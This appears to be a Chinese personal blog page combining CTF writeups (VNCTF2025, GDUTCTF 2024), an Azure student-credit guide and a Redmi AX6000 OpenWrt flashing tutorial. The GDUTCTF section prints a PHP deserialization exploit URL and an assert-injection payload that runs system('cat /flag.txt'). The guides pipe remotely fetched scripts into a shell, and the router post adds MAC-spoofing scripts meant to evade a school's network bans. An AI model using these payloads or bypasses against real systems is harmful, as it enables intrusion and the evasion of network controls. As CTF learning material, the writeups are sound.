所以以上就是本次出题的经历啦,后面应该还会出更多的题目的٩(๑^o^๑)۶
下次再有出题的话再写这样的记录吧
题目源码
- 【MISC】Herta’s Voidterm https://github.com/GDUTMeow/Challenge-Hertas-Voidterm
- 【DS】Data from Log https://github.com/GDUTMeow/Challenge-Data-from-Log
- 【Web】登录 PRTS https://github.com/GDUTMeow/Challenge-Login-PRTS
- 【Forensic】Is It Really Secure?? https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure
- 【DS】Data Analysis https://github.com/GDUTMeow/Challenge-Data-Analysis
- 【DS】Data Cleaning https://github.com/GDUTMeow/Challenge-DataCleaning
- 【MISC】为什么要演奏春日影! https://github.com/GDUTMeow/Challenge-Haruhikage
- 【Web】Dino https://github.com/GDUTMeow/Challenge-Dino
- 【Forensic】ez_traffic https://github.com/GDUTMeow/Challenge-eztraffic
- 【Crypto】你真的懂 Base 嘛 https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base
- 【Forensic】Play CS with Me https://github.com/GDUTMeow/Challenge-Play-CS-with-Me
-
GamerNoTitle

- 使用教育邮箱注册AZ100(Azure 100$ 教育优惠)自从拿到教育邮箱,我就在想怎么样才能够用尽其用,拿到更多的教育优惠资源,然后今天我就盘了盘Azure,据说Azure对学生有每年100$的免费额度,这我不得赶紧下个手注册教育用户首先,你得先去Azure登录一个微软账号(可以是个人的)Azure Portal: https://portal.azure.com/登陆以后会进入Azure的主页,我们不需要在这个页面操作,先把它关掉,只需要有登录态就可以了接着我们打开AZ100的注册页面AZ100: https://signup.azure.com/studentverification?offerType=1&srcurl=https%3A%2F%2Fazure.microsoft.com%2Ffree%2Fstudents&correlationId=bbc11038-628a-4b5a-abf5-e141999f96d9在这个页面中,填写自己的个人信息,注意有些信息的真实性(例如你明明用的是@*.edu.cn你的国家还选其他的那肯定不对)填好了以后提交(验证码留空就行,除非你有),然后打开你的教育邮箱,会收到一封来自微
使用教育邮箱注册AZ100(Azure 100$ 教育优惠)
自从拿到教育邮箱,我就在想怎么样才能够用尽其用,拿到更多的教育优惠资源,然后今天我就盘了盘Azure,据说Azure对学生有每年100$的免费额度,这我不得赶紧下个手
注册教育用户
首先,你得先去Azure登录一个微软账号(可以是个人的)
Azure Portal: https://portal.azure.com/
登陆以后会进入Azure的主页,我们不需要在这个页面操作,先把它关掉,只需要有登录态就可以了
接着我们打开AZ100的注册页面
![]()
在这个页面中,填写自己的个人信息,注意有些信息的真实性(例如你明明用的是@*.edu.cn你的国家还选其他的那肯定不对)
填好了以后提交(验证码留空就行,除非你有),然后打开你的教育邮箱,会收到一封来自微(巨)软(硬)的邮件(查不到的话看看垃圾邮件列表)
![]()
直接点击链接打开,会进入验证页面
![]()
这个页面可能会弹一个验证码(我这边是弹了),过了验证码点Verify就进入下一步了,这个时候会转个圈圈,微软在验证你的学生资格
转个大概半分钟就可以了,页面会弹出Congratulation的提示
![]()
这个时候就可以使用教育优惠了
[踩坑] 弹了Congratulation后仍然无法使用教育优惠
不知道巨硬怎么回事,反正就是订阅没有生效,我翻了翻求助帖,看到有这么个解决方式
我们再回到学生优惠的注册页面,不过是下面这个
Azure for Students: https://azure.microsoft.com/en-us/free/students?wt.mc_id=studentamb_203301
点击Start free,此时因为我们登录态还在,所以会进入验证环节,这里会弹出下图这样的页面
![]()
根据自己的需要勾选,然后点击注册就好了
使用教育优惠
我们访问Azure的教育页面(需要使用带有教育资格的Azure账户访问,否则提示无权)
Azure Education: https://portal.azure.com/#view/Microsoft_Azure_Education/EducationMenuBlade/~/overview
这里会显示你剩下的免费额度和到期天数(注:到期后还可以用教育邮箱续期)
![]()
点击右边免费服务的浏览所有按钮,就可以看到能够使用的所有教育优惠,我个人觉得最主要的还是虚拟机,下面也是我创建虚拟机的过程
创建Linux虚拟机
Azure free account includes:
- 750 hours of Standard B1, B2ATS, and B2PTS Linux Virtual Machine
- 750 hours of Standard B1, B2ATS Windows Virtual Machine
- 2 P6 (64GiB) managed disks
你可以通过免费服务那个页面来开始创建Linux虚拟机,也可以通过下面这个链接快速来到创建的页面
Create Linux VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-linux
在这个页面创建虚拟机直接按照自己需求选就行了,我弄的时候只有B1s,B2ats_v2没货,不过都能用
![]()
这里的区域需要说明的是,我这里选择的是East Asia,其实是指的就是香港地区的服务器,在这个页面新建虚拟机不用担心硬盘费用的问题,因为它会自动选择P6磁盘的
创建以后直接SSH连接就行了,我个人也不是拿这个来弄梯子的,所以也不担心被墙的问题
![]()
调整swap分区
因为刚刚创建的虚拟机默认是没有给你分swap分区的,但是这个机子的RAM太低了,所以得设置一下swap分区
我是用下面这个脚本设置的swap分区,直接copy去用就行,记得加sudo
1 | #!/bin/bash |
性能测试结果
性能测试脚本:
curl -sL yabs.sh | bash
1 | Basic System Information: |
网络IO测试结果
测试脚本:
wget -qO- bench.sh | bash
1 | -------------------- A Bench.sh Script By Teddysun ------------------- |
路由测试
去程路由绕行SG
![]()
回程路由部分绕行SG
上海电信 (101.95.120.109)
路径:
香港(hkg20 → hkg31) → 新加坡(sg2) → 中国电信骨干网(202.97.93.145,上海/广州) → 上海
- 第7跳:香港微软网络节点(hkg20)
- 第13跳:中国电信骨干网上海/广州节点(202.97.93.145)
- 第17跳:上海电信目标IP(101.95.120.109)
厦门电信CN2 (117.28.254.129)
路径:
香港(hkg30 → hkg15) → 中国电信CN2骨干网(59.43.248.197,广州) → 厦门
- 第7跳:香港微软网络节点(hkg30)
- 第10跳:中国电信CN2广州节点(59.43.248.197)
- 第18跳:厦门电信CN2目标IP(117.28.254.129)
北京联通 (123.125.81.6)
路径:
香港(hkg31) → 新加坡(sg2 → sin30) → 中国联通骨干网(219.158.38.213,广州) → 北京
- 第11跳:中国联通广州国际出口(219.158.38.213)
- 第14跳:中国联通北京节点(219.158.24.125)
- 第22跳:北京联通目标IP(123.125.81.6)
北京移动 (221.130.33.52)
路径:
香港(hkg31) → 新加坡(sg2 → sin30) → 中国移动骨干网(223.119.81.113,广州) → 北京
- 第11跳:中国移动广州国际出口(223.119.81.113)
- 第19跳:中国移动北京节点(221.179.155.234)
- 第20跳:北京移动目标IP(221.130.33.52)
成都教育网 (202.112.14.151)
路径:
香港(hkg20 → hkb) → 中国教育网骨干网(101.4.114.221,北京) → 成都
- 第13跳:教育网北京核心节点(101.4.114.221)
- 第19跳:教育网成都中转节点(101.4.112.194)
- 第24跳:成都教育网目标IP(202.112.14.151)
使用Windows虚拟机
创建方法跟Linux的没什么区别,唯二区别是系统和账户
Create Windows VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-windows
需要注意的是,如果你想有原生的Windows桌面体验,你就需要选择不带Core标识的版本
![]()
此外,因为这个服务器的低内存体验(就1G还能咋样),Windows服务器用起来特别憋屈,很卡,我就不过多评测了
其他厂商教育优惠
- Github Education: https://github.com/education
- 网易VIP邮箱: https://vip.163.com/projects/campus-vip/#/emailCheck
- Notion: https://notion.so
- Jetbrains: https://www.jetbrains.com/community/education/
-
GamerNoTitle

- VNCTF2025 个人Writeup(垂死挣扎记录)官方WP:http://ctf-files.bili33.top/VNCTF2025/VNCTF2025%20Official%20Writeup.pdf[Reverse] Hook Fish钓到的鱼怎么跑了?下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity找到Activity看到里面有一些函数123456789101112131415161718192021222324252627282930313233343536373839404142434445 public void loadClass(String input0) { String input1 = encode(input0); File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex"); DexClassLoader dLoa
VNCTF2025 个人Writeup(垂死挣扎记录)
[Reverse] Hook Fish
钓到的鱼怎么跑了?
下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity
找到Activity看到里面有一些函数
1 | public void loadClass(String input0) { |
去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件
用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文
1 | jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji |
解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)
1 | public static String encrypt(String str) { |
于是组合起来,写个JIO本
1 | class HookFish: |
最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}
![]()
[MISC] VN_Lang
我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?
本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。
直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag
![]()
flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}
[Web] 学生姓名登记系统(未出)
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
确实并非无懈可击,但是我是没办法打
上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然
| 输入 | 输出 |
|---|---|
然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回
![]()
这些关键词包括但不限于:%、lipsum,有些组合也不能够被正确识别,例如{{request.args.a}},{{request.cookies.c}}这样的
此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示
因为我实在是没找到方法来规避这个长度限制,所以只能作罢
[Web] 奶龙回家(未出)
小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次
我才是奶龙.jpg
给了登录框,可以输入用户名和密码,一开始就想到了爆破
![]()
然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作
行吧,我后面再来看你(然后就忘了 =-=)
[Reverse] 抽奖转盘(未出)
主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。
真的上手吗(害怕
附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler
把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊!
![]()
好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样
后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢
模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0
[MISC] Ekko(未出)
Ekko似乎找不到完美的时间线了。。。
题目地址:156.238.233.119:10001
faucet:156.238.233.119:10000
rpc:156.238.233.119:8545
一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约
nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步
1 | PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 |
首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了
![]()
接着要向别人转账,再次nc选择2,把token给它就可以部署合约了
1 | PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 |
然后就是要完成合约,但是怎么完成?我不道啊!!
[MISC] aimind(未出)
基于大模型生成网站思维导图,不觉得很cool 吗
本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.
访问后告诉我们要输入url来生成思维导图
![]()
我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档
改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示
- 据说有个redis在内网
- 172.18.0.3
那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令
测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息
![]()
于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢
还是对Redis不熟的问题 =-=
[MISC] Echo Flowers(已复现)
英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入了首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?
本题附件下载地址:百度网盘 或 Google Drive
114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的。
附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。
你应该从手机镜像中取证找回数字钱包。
附件中gift文件夹的内容不是解题所必需的。
FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .
赛中自己做
一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好、将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词
具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目
1 | ramp ranch twenty you only space define fashion high laundry carpet muscle |
因为助记词的顺序会影响钱包地址,于是写了个爆破脚本
1 | import itertools |
然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了
赛后复现
根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了
搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样
1 | PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin |
这样子看不出来任何东西,而官方wp加入了--encoding=b
Deepseek:
--encoding=b表示让strings工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。
1 | PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b * |
就能够看到助记词,而且有确切的顺序,导入进去就有钱包了
![]()
所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}
找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取
[MISC] Something for nothing(未出)
今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?
稍加利用也许能拿到怪东西?
做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项
于是在Deepseek的帮助下,有了这样的攻击步骤
- 触发闪电贷:在
attack函数中,通过调用flashLoan借入5000 USDT。 - 执行套利操作:在
executeOperation回调函数中:- USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。
- VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。
- WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。
- 转移利润:计算利润并将USDT利润转至
profitReceiver。 - 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。
关键点:
- 手续费漏洞:DEX的
getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。 - 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。
- 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。
于是它给了我下面的合约代码
1 | // SPDX-License-Identifier: MIT |
但问题是,我放到题目里面以后,它不跑啊……
![]()
我还是把各种AI给的合约放在这个下面吧
Deepseek R1
1 | // SPDX-License-Identifier: MIT |
Gemini 2.0 Pro 02-05
1 | // SPDX-License-Identifier: MIT |
ChatGPT 4o
1 | // Attack.sol |
[PWN] FileSys(未出)
You only have one chance to edit
题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试
1 | qemu-system-x86_64 \ |
![]()
启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥
反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey}
[MISC] ezSignal(未出)
你也热爱信号吗?
本题附件下载地址:下载链接
题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~
图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt)
![]()
后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了
1 | DECIMAL HEXADECIMAL DESCRIPTION |
题目给了提示
- 请仔细研究题目附件压缩包的文件结构
- GRC流程图是 窄带FM调制+XOR
然而还是做不出来
-
GamerNoTitle

- 2024年 GDUTCTF 个人WriteUp日志分析近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP打开后在Wireshark里面过滤器填写dns,过滤所有的DNS请求然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5,所以答案为flag{61.7.12.5}RSAyafu题目说了用yafu,咱就上yafu呗123456789101112131415161718192021> .\yafu-x64.exe "factor(57329644537890056562022200609940309760084624839741069493606566855033944088701485420748825764152541447261303076600832163386441623413711535709394108075095297365509557868331990649344623386270660797685837842024306709104142677356604102639282221905057965407
2024年 GDUTCTF 个人WriteUp
日志分析
近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP
打开后在Wireshark里面过滤器填写dns,过滤所有的DNS请求
然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5,所以答案为flag{61.7.12.5}
![]()
RSA
yafu
题目说了用yafu,咱就上yafu呗
1 | > .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)" |
得到了因数55307187311和103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611,再写RSA解密脚本
1 | from sympy import mod_inverse |
结果
1 | PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py |
serialize
上来给了PHP代码
1 | <?php |
搜到原题:2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_justsoso ctf-CSDN博客
构造payload
1 | http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D |
发现没有回显,于是尝试访问flag.txt,就出来了
1 | http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D |
![]()
ezrce
上来给了源码
1 | <?php |
好,知识盲区,没做过带assert的,去质问ChatGPT o1,告诉我是assert截断类题目;我告诉它需要读取flag.txt(因为上面那个序列化是flag.txt),然后给了我payload
1 | data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));// |
让GPT来给我解释吧(躺平)
URL 解码后的 Payload
首先,将 URL 编码的部分 %20(代表空格)进行解码,完整的 data 参数值如下:
1 | data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));// |
Payload 结构解析
该 Payload 利用 PHP 的 assert 函数进行代码注入,以执行系统命令 cat /flag.txt,从而读取 flag.txt 文件的内容。以下是对 Payload 各部分的详细解释:
hello')
1 | hello') |
作用:这部分结束了
strpos函数的第一个参数字符串。原始 PHP 代码中的assert调用如下:1
assert("strpos('$data', 'data') === true");
当
$data被替换为hello') or print(assert("..."));//时,整个assert语句变为:1
assert("strpos('hello') or print(assert("..."));//', 'data') === true");
这里,
hello')关闭了strpos的第一个参数字符串,使得后续的or print(assert("..."));//成为新的 PHP 代码执行部分。
or print(assert("..."));//
1 | or print(assert("..."));// |
作用
:
or:逻辑操作符。如果左侧表达式为false,则执行右侧表达式。print(assert("...")):执行assert函数,并将其返回值打印出来。//:注释符,用于注释掉后续的代码,防止语法错误。
"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"
1 | "\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')" |
作用:使用十六进制转义序列表示字符串,以绕过正则表达式过滤。具体解析如下:
\x73\x79\x73\x74\x65\x6D:对应 ASCII 字符串system\x63\x61\x74:对应 ASCII 字符串cat\x20:对应空格``\x2F:对应/\x66\x6C\x61\x67:对应flag\x2E:对应.\x74\x78\x74:对应txt
解码后的字符串:
1
system('cat /flag.txt')
完整的注入后的 assert 代码
将上述部分组合起来,注入后的 assert 调用如下:
1 | assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true"); |
执行流程分析
strpos('hello'):strpos函数通常需要至少两个参数(需要查找的字符串和查找的子字符串)。在这里,只有一个参数'hello',这会导致 PHP 报告一个警告或错误,因为参数不足。
or print(assert("system('cat /flag.txt')")):- 由于
strpos('hello')的返回值为false(因为查找失败或参数错误),逻辑操作符or会执行右侧的表达式。 print(assert("system('cat /flag.txt')"))会执行system('cat /flag.txt'),试图读取/flag.txt文件的内容,并将其输出。
- 由于
//:- 注释掉后续的代码,防止语法错误或干扰注入效果。
然后丢进去就出来了
![]()
-
GamerNoTitle

- 从零开始!在红米AX6000路由器上刷入Openwrt在我前两天搞定TPLINK后,近期跟我聊到路由器的同学买了个红米的AX6000,想自己刷,发现自己搞不定了求助于我,于是我们一起刷这台路由器,就有了这篇教程准备工作首先得把小米路由器的系统降级,这位同学拿过来的时候,他降级到了1.0.60,所以降级过程就没有什么教程啦,可以去网上找找旧版的包,然后直接通过路由器管理面板的升级部分刷就行了打开Telnet(路由器的开发者模式)我们降级好路由器后,先要打开telnet,才能打开SSH,打开telnet的过程不要联网!!!实测联网会打不开telnet首先我们要登录进路由器的管理面板,在管理面板的地址栏中有我们需要的stok,例如http://192.168.31.1/cgi-bin/luci/;stok=71871cc803318e6f85e9c73d2ed7736c,这个stok=后面的内容就是我们需要的stok,我们复制下来,替换掉下面链接中的{stok},并复制到浏览器访问(访问的结果统一会显示{code: 0},四次访问都是,不再赘述,我使用的是curl)http://192.168.31.1/cgi-bin/luci/;stok={
从零开始!在红米AX6000路由器上刷入Openwrt
在我前两天搞定TPLINK后,近期跟我聊到路由器的同学买了个红米的AX6000,想自己刷,发现自己搞不定了求助于我,于是我们一起刷这台路由器,就有了这篇教程
准备工作
首先得把小米路由器的系统降级,这位同学拿过来的时候,他降级到了1.0.60,所以降级过程就没有什么教程啦,可以去网上找找旧版的包,然后直接通过路由器管理面板的升级部分刷就行了
打开Telnet(路由器的开发者模式)
我们降级好路由器后,先要打开telnet,才能打开SSH,打开telnet的过程不要联网!!!
实测联网会打不开telnet
首先我们要登录进路由器的管理面板,在管理面板的地址栏中有我们需要的stok,例如http://192.168.31.1/cgi-bin/luci/;stok=71871cc803318e6f85e9c73d2ed7736c,这个stok=后面的内容就是我们需要的stok,我们复制下来,替换掉下面链接中的{stok},并复制到浏览器访问(访问的结果统一会显示{code: 0},四次访问都是,不再赘述,我使用的是curl)
![]()
![]()
访问了以后路由器会重启,重启完了以后,我们再登录到路由器管理面板,此时stok会改变,我们复制新的stok,替换下面链接中的{stok},然后丢到浏览器访问
![]()
此链接跟第二条一样,都是重启用的
![]()
我们打开一个能够支持telnet连接的软件,用户名和密码都是空,就可以连接进去了
![]()
自动化脚本
于是我随手撸了一个脚本
1 | import httpx |
打开SSH
打开任意telnet客户端通过telnet连接后,我们需要打开SSH
![]()
设置root密码
通过下面的命令可以设置root的密码为admin
1 | $ echo -e 'admin\nadmin' | passwd root |
![]()
其实就是运行passwd root,然后输入了两次admin而已,你也可以自己改
打开SSH
接着我们运行下面的命令打开SSH
1 | bdata set boot_wait=on |
输入后是不会有任何输出的,此时SSH就已经打开了
![]()
设置SSH开机自动启动
接着我们要设置开机开启SSH,要不然重启一下就没了
1 | mkdir -p /data/auto_ssh && cd /data/auto_ssh |
这个文件你也可以放在别的位置,自己修改上面脚本里面的文件位置就行,不过要注意重启是否会消失,有些路由器重启会自动清除文件的(例如我前阵子弄的WAR308)
设置时区
最后一步是设置时区,使用下面的命令设置时区
1 | uci set system.@system[0].timezone='CST-8' |
关闭开发者模式
使用下面的命令关闭开发者模式
1 | mtd erase crash |
最后是重启,直接打reboot就行了
![]()
通过SSH刷入uboot
当我们通过SSH连接进路由器后,我们需要保证路由器可以联网,然后运行下面的命令
1 | $ cd /tmp && curl --silent -O https://fastly.jsdelivr.net/gh/miaoermua/unlock-redmi-ax6000@main/uboot.sh && chmod +x uboot.sh && ./uboot.sh |
运行了以后,脚本会帮你备份你的分区文件,记得把它们弄出来,要不然没办法恢复原厂系统,分别是/tmp/mtd5_FIP.bin和/tmp/mtd4_Factory.bin
![]()
拿出来以后,再运行下面的命令来刷入uboot,最后会弹出一行success,就说明完成了
1 | mtd erase FIP |
进入uboot,刷入openwrt系统
进入uboot模式
先拔掉电源,然后用牙签/卡针之类的尖锐的东西,戳着reset键,然后插上电源等待15秒以上,就可以松开了,这个就可以用电脑访问uboot了
uboot模式下,路由器的灯不会亮
电脑访问uboot
在进入uboot之前,请先把自己的电脑的ip地址修改一下,因为uboot模式下没有DHCP
![]()
然后访问http://192.168.31.1进入uboot,界面应该是像下面这样的
![]()
我们尝试了下面的两个系统(因为我这个同学记错路由器的空间大小以为CatWrt的分区大小给小了于是刷了ImmortalWrt)
刷入系统
下载好你需要的系统包后,直接在uboot里面上传,上传后会读条,这个时候路由器在校验系统包和计算md5,直接点击update就可以了
![]()
第一次刷可能会出现下图这样的fail提示,我们返回重新上传刷一次就行了
![]()
刷好了访问系统包对应的ip地址就可以进入openwrt了
其他
进入openwrt后,发现这个机子的存储应该是256MB(图片是CatWrt的终端)
![]()
内存为512MB左右
![]()
END
怎么说呢,这次应该是我第一次真正去刷品牌路由器成功的,我以前刷过小米的AX3000T但是刷炸了;讲真,品牌路由器的内存和存储还是给得太小了
当然这次成功也离不开下面这些参考文档(注:里面有些链接是过期的,所以为什么我会综合起来写一篇文,就是避免其他人做到一半发现链接404不知道怎么做了)
ALL IN ALL,刷路由器还是很好玩的 :D
Ref:
https://docs.qq.com/doc/DS1RlUVhUYXp3YnhL
https://www.right.com.cn/forum/thread-8261104-1-1.html
https://blog.csdn.net/sxf1061700625/article/details/130328437
真正的END
因为我发现我们学校会BAN我的MAC地址,于是我顺带放出我写的MAC地址更换脚本(可以设置计划任务)
MAC备份还原脚本
避免你需要还原你路由器真正的mac的时候找不到mac,建议你用这个先备份一下你路由器的mac
如果你的网口不是eth0,请先更换一下网口!!!
1 | #!/bin/sh |
Mac生成替换脚本
我这里设置了固定的前缀,是因为我路由器的MAC地址带了这三个,建议改成自己的
如果你的网口不是eth0,请先更换一下网口!!!
1 | #!/bin/sh |
Openwrt备份备份恢复脚本
注意修改前两行
1 | # 定义备份目录 |
1 | #!/bin/ash |
-
GamerNoTitle

- 【Volcania】2024第四届“网鼎杯”网络安全大赛青龙组初赛WriteupCryptoCrypto01小华刚上班第一天,便发现自己的重要文件被加密,只留下了一段神秘代码,请你结合神秘代码帮助他解密。从附件得到题目源码12345678910111213141516171819202122232425from Crypto.Util.number import *from secret import flagp = getPrime(512)q = getPrime(512)n = p * qd = getPrime(299)e = inverse(d,(p-1)*(q-1))m = bytes_to_long(flag)c = pow(m,e,n)hint1 = p >> (512-70)hint2 = q >> (512-70)print(f"n = {n}")print(f"e = {e}")print(f"c = {c}")print(f"hint1 = {hint1}")print(f"hint2 = {hint2}")n = 114118679597315994458138232536029700477506764789782
【Volcania】2024第四届“网鼎杯”网络安全大赛青龙组初赛Writeup
Crypto
Crypto01
小华刚上班第一天,便发现自己的重要文件被加密,只留下了一段神秘代码,请你结合神秘代码帮助他解密。
从附件得到题目源码
1 | from Crypto.Util.number import * |
根据检索,发现是RSA高位爆破题目,并且在2023江苏省领航杯有对应的题目,而且非常凑巧的是师傅写了个傻瓜脚本
1 | import time |
